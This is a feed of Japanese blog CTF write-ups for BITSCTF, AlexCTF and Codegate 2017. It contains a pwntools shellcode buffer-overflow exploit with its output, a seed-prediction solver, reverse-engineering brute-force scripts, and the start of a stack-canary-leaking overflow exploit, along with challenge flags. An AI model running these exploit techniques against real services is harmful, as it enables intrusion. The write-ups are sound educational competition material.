shellcode += &apos;\x1a\x05\xa5\xe9\xa5\xda\xaf\x7d\x1a&apos;

# r = process(&apos;./pwn1&apos;)
r = remote(&apos;bitsctf.bits-quark.org&apos;, 1330)

addr_buffer = int(r.readline()[:-1], 16)
log.info(&apos;addr_buffer: 0x%x&apos; % addr_buffer)

payload = &apos;&apos;
payload += &apos;A&apos; * padding
payload += p64(addr_buffer + padding + 8)
payload += shellcode
r.sendline(payload)

# r.interactive()
r.sendline(&apos;cat flag&apos;)
log.success(&apos;Flag: %s&apos; % r.recv())
```

    $ python2 exploit.py
    [+] Opening connection to bitsctf.bits-quark.org on port 1330: Done
    [*] addr_buffer: 0x7fffffffe620
    [+] Flag: BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}
    [*] Closed connection to bitsctf.bits-quark.org port 1330

### Random Game &lt;small&gt;(30pt)&lt;/small&gt;

同じく x86-64 の ELF.

    $ file third
    third: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6c26456447632034ed1ad87d3161adcf72daa6c3, not stripped

`main()` 関数の処理はだいたいこんな感じだった.

1. `srand(time(0))`
2. `rand() &amp; 0xf`
3. `scanf(&quot;%d&quot;)` して 2 の値と比較
    - 違ってたら `exit(0)`
4. 2-3 を30回繰り返す
5. `./flag` を `open()` -&gt; `read()` -&gt; `printf()`

少し悩んだけど, 乱数の seed に `time(0)` を使ってるので, サーバ側の時間がわかれば乱数を推測できそうなのに気づく.

問題は先程のと同じサーバで動いていると予測. まずは先程のスクリプトを使って `date +%s` を実行し, 手元の環境の時間と大きなズレがないことを確認.  
(注: この結果は後から実行したもの)

    $ date +%s ; python2 exploit.py
    1486292363
    [+] Opening connection to bitsctf.bits-quark.org on port 1330: Done
    [*] addr_buffer: 0x7fffffffe620
    [+] date +%s: 1486292363
    [*] Closed connection to bitsctf.bits-quark.org port 1330

あとは問題と同じ方法で30個の乱数を作る C のコードと問題を解くスクリプトを書いて終わり.

```c
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;time.h&gt;

int main() {
  srand(time(0));

  for (int i = 0; i &lt; 30; ++i) {
    printf(&quot;%d &quot;, rand() &amp; 0xf);
  }
}
```

```ruby
require &apos;socket&apos;

s = TCPSocket.new &apos;bitsctf.bits-quark.org&apos;, 1337

randnums = `./rand30`.split

30.times do |n|
  print s.gets &apos;round : &apos;
  s.puts randnums[n]
  puts randnums[n]
end

puts s.gets
```

    $ clang rand30.c -o rand30
    
    $ ruby solve.rb
    your number for 1 round : 8
    your number for 2 round : 4
    your number for 3 round : 9
    your number for 4 round : 10
    your number for 5 round : 9
    your number for 6 round : 4
    your number for 7 round : 6
    your number for 8 round : 6
    your number for 9 round : 3
    your number for 10 round : 5
    your number for 11 round : 15
    your number for 12 round : 13
    your number for 13 round : 12
    your number for 14 round : 3
    your number for 15 round : 15
    your number for 16 round : 2
    your number for 17 round : 7
    your number for 18 round : 5
    your number for 19 round : 6
    your number for 20 round : 8
    your number for 21 round : 14
    your number for 22 round : 2
    your number for 23 round : 12
    your number for 24 round : 12
    your number for 25 round : 14
    your number for 26 round : 8
    your number for 27 round : 13
    your number for 28 round : 4
    your number for 29 round : 3
    your number for 30 round : 13
    congrats you are rewarded with the flag BITSCTF{54m3_533d_54m3_53qu3nc

なぜか Flag が最後まで送られてこない... 最後のワードを補完して `BITSCTF{54m3_533d_54m3_53qu3nc3}` で通った.</content:encoded></item><item><title>AlexCTF writeup</title><link>https://myon.info/blog/2017/02/06/alexctf-writeup/</link><guid isPermaLink="true">https://myon.info/blog/2017/02/06/alexctf-writeup/</guid><pubDate>Mon, 06 Feb 2017 00:00:00 GMT</pubDate><content:encoded>[AlexCTF](https://ctf.oddcoder.com/) にも一人チーム [poepoe](https://ctf.oddcoder.com/team/568) でこっそり参加. 590 points で 385 位でした.

&lt;!--more--&gt;

## Cryptography

### CR1: Ultracoded &lt;small&gt;(50pt)&lt;/small&gt;

こんな感じのテキストファイルが与えられる.

    $ cat zero_one
    ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ONE ZERO ZERO ONE ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ONE ONE ZERO ONE

`01` になおして ascii にすると Base64 ぽいのが出てきて, それを decode すると `.` と `-` の羅列が出てきた.

```cpp
#include &lt;bitset&gt;
#include &lt;fstream&gt;
#include &lt;iostream&gt;
#include &lt;boost/algorithm/string.hpp&gt;

auto main() -&gt; int {
  auto str = [] {
    std::ifstream ifs(&quot;./zero_one&quot;);
    return std::string{std::istreambuf_iterator&lt;char&gt;(ifs), std::istreambuf_iterator&lt;char&gt;()};
  }();

  boost::algorithm::replace_all(str, &quot;ZERO&quot;, &quot;0&quot;);
  boost::algorithm::replace_all(str, &quot;ONE&quot;, &quot;1&quot;);
  boost::algorithm::erase_all(str, &quot; &quot;);
  boost::algorithm::erase_all(str, &quot;\n&quot;);

  for (auto i = 0u; i &lt; str.size(); i += 8) {
    std::bitset&lt;8&gt; b(str, i, 8);
    std::cout &lt;&lt; static_cast&lt;char&gt;(b.to_ulong());
  }
}
```

    $ clang++ -Wall -Wextra -pedantic -std=c++14 toascii.cc -o toascii
    
    $ ./toascii 
    Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==

    $ ./toascii | base64 -d
    .- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

[Morse Code Translator](http://morsecode.scphillips.com/translator.html) に投げたらそれっぽいのが出てきたので, 少し修正したら通った.

    ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT -&gt; ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}

## Forensics

### Fore1: Hit the core &lt;small&gt;(50pt)&lt;/small&gt;

core dump ファイル? が与えられる.  
最初は gdb とか使えばいいのかなーと思ったけど, 実行ファイルは置かれてないのでうーん...

諦めて `strings` してみると, こんな文字列が見つかった.

    $ strings fore1.core
    (...)
    cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}
    (...)

4文字ずつ消していくと Flag が出てきた.

    ALEXCTF{K33P_7H3_g00D_w0rk_up}

### Fore3: USB probing &lt;small&gt;(150pt)&lt;/small&gt;

USB の通信を読んだっぽい pcap ファイルが与えられる.  
Wireshark で一番大きな Frame を見たら png 画像が入ってて, そこに Flag が書かれてた.

    ALEXCTF{SN1FF_TH3_FL4G_0V3R_U58}

## Reverse Engineering

### RE1: Gifted &lt;small&gt;(50pt)&lt;/small&gt;

32bit の ELF.

    $ file gifted 
    gifted: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=50f578e89c55c2bde7f6c02b9f083fe7656d9d4d, stripped

`scanf(&quot;%s&quot;, str)` で読んだ文字列を `strcmp(flag, str)` してるだけなので, 比較してる文字列を読むだけ.

    $ r2 -A gifted
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Analyze function calls (aac)
    [ ] [*] Use -AA or aaaa to perform additional experimental analysis.
    [x] Constructing a function name for fcn.* and sym.func.* functions (aan))
     -- Of course r2 runs FreeBSD
    [0x08048430]&gt; e asm.comments = false
    [0x08048430]&gt; e asm.nbytes = 0
    [0x08048430]&gt; pdf @ main
    / (fcn) main 146
    |   main ();
    |           ; var int local_ch @ ebp-0xc
    |           ; var int local_4h @ esp+0x4
    |           0x0804852b      lea ecx, dword [esp + local_4h]
    |           0x0804852f      and esp, 0xfffffff0
    |           0x08048532      push dword [ecx - 4]
    |           0x08048535      push ebp
    |           0x08048536      mov ebp, esp
    |           0x08048538      push ecx
    |           0x08048539      sub esp, 0x14
    |           0x0804853c      sub esp, 0xc
    |           0x0804853f      push str.Enter_the_flag: ; str.Enter_the_flag:
    |           0x08048544      call sym.imp.printf
    |           0x08048549      add esp, 0x10
    |           0x0804854c      sub esp, 0xc
    |           0x0804854f      push 0x3e8
    |           0x08048554      call sym.imp.malloc
    |           0x08048559      add esp, 0x10
    |           0x0804855c      mov dword [ebp - local_ch], eax
    |           0x0804855f      sub esp, 8
    |           0x08048562      push dword [ebp - local_ch]
    |           0x08048565      push 0x8048655
    |           0x0804856a      call sym.imp.__isoc99_scanf
    |           0x0804856f      add esp, 0x10
    |           0x08048572      sub esp, 8
    |           0x08048575      push dword [ebp - local_ch]
    |           0x08048578      push str.AlexCTF_Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing_ ; str.AlexCTF_Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing_
    |           0x0804857d      call sym.imp.strcmp
    |           0x08048582      add esp, 0x10
    |           0x08048585      test eax, eax
    |       ,=&lt; 0x08048587      jne 0x80485a3
    |       |   0x08048589      sub esp, 0xc
    |       |   0x0804858c      push str.You_got_it_right_dude_ ; str.You_got_it_right_dude_
    |       |   0x08048591      call sym.imp.puts
    |       |   0x08048596      add esp, 0x10
    |       |   0x08048599      sub esp, 0xc
    |       |   0x0804859c      push 0
    |       |   0x0804859e      call sym.imp.exit
    |       `-&gt; 0x080485a3      sub esp, 0xc
    |           0x080485a6      push str.Try_harder_ ; str.Try_harder_
    |           0x080485ab      call sym.imp.puts
    |           0x080485b0      add esp, 0x10
    |           0x080485b3      sub esp, 0xc
    |           0x080485b6      push 0
    \           0x080485b8      call sym.imp.exit
    [0x08048430]&gt; ps @ str.AlexCTF_Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing_
    AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}

### RE2: C++ is awesome &lt;small&gt;(100pt)&lt;/small&gt;

64bit の ELF. タイトルの通り C++ で書かれたっぽい.

    $ file re2 
    re2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=08fba98083e7c1f7171fd17c82befdfe1dcbcc82, stripped

調べていくと

1. `argv[1]` を `std::string` にする
2. (1) の文字列を何らかの規則で内部の文字列と比較
    - (文字数足りなくても) OK だったら `&quot;You should have the flag by now&quot;`
    - NG だったら `&quot;Better luck next time&quot;`

という感じだったので, `&quot;You should have the flag by now&quot;` になる入力を `/ALEXCTF{[A-Za-z0-9_]*}/` にマッチするまで増やしていけばok. 昔似たようなスクリプトを書いたのが残ってたのでそれを流用した.

```ruby
chars = &apos;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_&apos;

c = 0
i = 0
flag = chars[c]

while true do
  print &quot;[*] &apos;#{flag}&apos; - &quot;

  case `./re2 #{flag}`
  when /Better luck next time/ then
    puts &apos;failed&apos;
    c = c.next
    flag[i] = chars[c]
  when /You should have the flag by now/ then
    if /ALEXCTF{[A-Za-z0-9_]*}/ =~ flag then
      puts &apos;done!&apos;
      break
    else
      puts &apos;failed&apos;
      c = 0
      i = i.next
      flag &lt;&lt; chars[c]
    end
  end
end
```

    $ ruby solve.rb
    [*] &apos;0&apos; - failed
    [*] &apos;1&apos; - failed
    [*] &apos;2&apos; - failed
    (...)
    [*] &apos;ALEXCTF{W3_L0v3_C_W1th_CL45535z&apos; - failed
    [*] &apos;ALEXCTF{W3_L0v3_C_W1th_CL45535{&apos; - failed
    [*] &apos;ALEXCTF{W3_L0v3_C_W1th_CL45535}&apos; - done!

&quot;内部で比較に使っている文字列&quot; ってのもちゃんと Leet になってておもしろかった.

    $ r2 -A re2
    (...)
    [0x00400a60]&gt; pd 3 @ 0x00400c57
              0x00400c57      movzx edx, byte [rax]
              0x00400c5a      mov rcx, qword [str.L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A__FL4G__W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t]
              0x00400c61      mov eax, dword [rbp - local_14h]

## Scripting

### SC1: Math bot &lt;small&gt;(100pt)&lt;/small&gt;

指定されたサーバにつなぐと, ランダムな2数の和差積商剰余を求める問題が出題される. 桁は多いし500問もあるし, そしてたぶん時間制限もあるので自動化したいねというやつ.  
そういえばセキュキャンでやった CTF に似たのがあった気がする. (他のメンバーにお願いしたので解いてないけど)

こういった数式の処理は得意そうだし, 大きな数も `Integer` 使えば問題なさそうなので Haskell で書いた. やっぱり Pattern matching 強い.

```haskell
module Main where

import           Network.Socket
import           System.IO

calcStr :: (Read a) =&gt; (a -&gt; a -&gt; a) -&gt; String -&gt; String -&gt; a
calcStr f x y = f (read x) (read y)

calc :: [String] -&gt; Maybe Integer
calc (x:&quot;+&quot;:y:&quot;=&quot;:[]) = Just $ calcStr (+)  x y
calc (x:&quot;-&quot;:y:&quot;=&quot;:[]) = Just $ calcStr (-)  x y
calc (x:&quot;*&quot;:y:&quot;=&quot;:[]) = Just $ calcStr (*)  x y
calc (x:&quot;/&quot;:y:&quot;=&quot;:[]) = Just $ calcStr quot x y
calc (x:&quot;%&quot;:y:&quot;=&quot;:[]) = Just $ calcStr mod  x y
calc _                = Nothing

solver :: Handle -&gt; IO ()
solver h = hGetContents h &gt;&gt;= mapM_ solver&apos; . lines
  where solver&apos; l = putStrLn l &gt;&gt;
                    case calc $ words l of
                         Just x  -&gt; print x &gt;&gt; hPrint h x
                         Nothing -&gt; return ()

main :: IO ()
main = withSocketsDo $ do
  addr:_ &lt;- getAddrInfo Nothing (Just &quot;195.154.53.62&quot;) (Just &quot;1337&quot;)
  s &lt;- socket (addrFamily addr) Stream defaultProtocol
  connect s (addrAddress addr)

  socketToHandle s ReadWriteMode &gt;&gt;= solver
```

    $ stack runhaskell Main.hs
                    __________
             ______/ ________ \______
           _/      ____________      \_
         _/____________    ____________\_
        /  ___________ \  / ___________  \
       /  /XXXXXXXXXXX\ \/ /XXXXXXXXXXX\  \
      /  /############/    \############\  \
      |  \XXXXXXXXXXX/ _  _ \XXXXXXXXXXX/  |
    __|\_____   ___   //  \\   ___   _____/|__
    [_       \     \  X    X  /     /       _]
    __|     \ \                    / /     |__
    [____  \ \ \   ____________   / / /  ____]
         \  \ \ \/||.||.||.||.||\/ / /  /
          \_ \ \  ||.||.||.||.||  / / _/
            \ \   ||.||.||.||.||   / /
             \_   ||_||_||_||_||   _/
               \     ........     /
                \________________/

    Our system system has detected human traffic from your IP!
    Please prove you are a bot
    Question  1 :
    16009571334449958557044155891623 * 161008553970745969749861890538566 =
    2577677930251293728519863026246993767635808048267100809397832618
    Question  2 :
    37464153342495496305488535664548 - 257757927187169247290210372595388 =
    -220293773844673750984721836930840
    (...)
    Question  499 :
    64300502597679021169438215557183 + 93542697917022220746961898347602 =
    157843200514701241916400113904785
    Question  500 :
    76749452529358543077576919396189 % 319214220891644749269280458687889 =
    76749452529358543077576919396189
    Well no human got time to solve 500 ridiculous math challenges
    Congrats MR bot!
    Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}

## Trivia

### TR1: Hello there &lt;small&gt;(10pt)&lt;/small&gt;

IRC: #alexctf @freenode の Topic に書いてあった.

    ALEXCTF{W3_w15h_y0u_g00d_luck}

### TR2: SSL 0day &lt;small&gt;(20pt)&lt;/small&gt;

有名なので答えはすぐわかったけど, `ALEXCTF{}` で囲まなくていいのに気づかなくてあれーってなってた.  
どーでもいいけどこれすき. [xkcd: Heartbleed Explanation](https://xkcd.com/1354/)

    heartbleed

### TR3: CA &lt;small&gt;(20pt)&lt;/small&gt;

TR2と同じ理由で時間かかった... ヾ(｡&gt;﹏&lt;｡)ﾉﾞ

    letsencrypt

### TR4: Doesn&apos;t our logo look cool ? &lt;small&gt;(40pt)&lt;/small&gt;

トップページの AA をよく見ると, `A...L..E...X...` という文字が混ざっているのに気づく. Vim で `:%j` (全行結合) -&gt; `:%s/\v[^0-1A-Za-z{}_]//g` (Flag format にない文字を削除) すると出てきた.

    ALEXCTF{0UR_L0G0_R0CKS}

## おわり

プログラム書くのは好きなので, SC1 が一番楽しかった.  
でも参加した理由は BITSCTF と同じく pwn の力試しなので, ちょっと残念だった.</content:encoded></item><item><title>Codegate 2017 CTF prequals writeup</title><link>https://myon.info/blog/2017/02/11/codegate-2017-prequals-writeup/</link><guid isPermaLink="true">https://myon.info/blog/2017/02/11/codegate-2017-prequals-writeup/</guid><pubDate>Sat, 11 Feb 2017 00:00:00 GMT</pubDate><content:encoded>[Codegate 2017 CTF](http://ctf.codegate.org/) の Prequalification Round に一人チーム poepoe で参加. 305 points で 78 位(General)でした.

pwn 過去問でもよく見かける Codegate 関連の CTF というだけあって, 実行ファイル解析系の問題が多めだった感じ. 正答者数が増えると問題の得点が下がっていくシステムもあったりで面白かった.

&lt;!--more--&gt;

## 1. Mic Check &lt;small&gt;(50pt)&lt;/small&gt;

いわゆるサービス問題. 問題文に得点のシステム等の説明とともに Flag が書いてある.  
**real flag is in brackets** とあるように, 送信する Flag は `{}` 内の文字列だけなので注意.

&gt; Mic Check
&gt; one two~ one two~
&gt; 
&gt; First Point : 500  
&gt; Minimal Point : 50  
&gt; Minus per one solver : -5  
&gt; 
&gt; Here is Flag~ FLAG{Welcome\_to\_codegate2017}
&gt; 
&gt; real flag is in brackets.

## 2. BabyPwn &lt;small&gt;(50pt)&lt;/small&gt;

32bit の ELF.  
fork-server 型などと呼ばれているタイプの問題で, 実行すると `argv[1]` に渡した数値または `8181` ポートで接続を待つような感じになっていた.

    $ file babypwn
    babypwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=79d683df4838066af61f58fc7025deb99e6bab3d, stripped
    
    $ checksec babypwn
    [*] &apos;/tmp/babypwn&apos;
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE

対象のアドレス/ポートに接続すると, 次のようなメニューが表示される. 1は入力した文字列をそのまま表示, 2は入力した文字列を逆順で表示するというものだった.

    $ nc localhost 8181
    ▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒
    ▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒
    ===============================
    1. Echo
    2. Reverse Echo
    3. Exit
    ===============================
    Select menu &gt; 

接続後の主な処理は `0x08048a71` の関数にあった. 1の処理を追っていくと, 入力した文字列を入れるために確保した領域(0x28 byte)に `recv()` で `0x64` byte も読み込んでいるため stack buffer overflow が起こせる. しかも, 次の入力された文字列を返す処理では, `send()` で `strlen(buf)` 分の文字列を送信しているため, stack の情報をリークさせることが可能なのがわかる.

そこで, 次のような攻撃を行う.  
まず, stack canary をリークさせる. canary は `0x5082ab00` のような下位1 byte が `0x00` なランダムな値なので, 0x28 +1文字を書き込んで `strlen()` のチェックを回避し, 送られてくる文字列の0x29~0x2c文字目を処理することで得られる.

```python
#!/usr/bin/env python2

from pwn import *

r = remote(&apos;localhost&apos;, 8181)

def echo(s):
    r.recvuntil(&apos;Select menu &gt; &apos;)
    r.sendline(&apos;1&apos;)
    r.recvuntil(&apos;Input Your Message : &apos;)
    r.send(s)
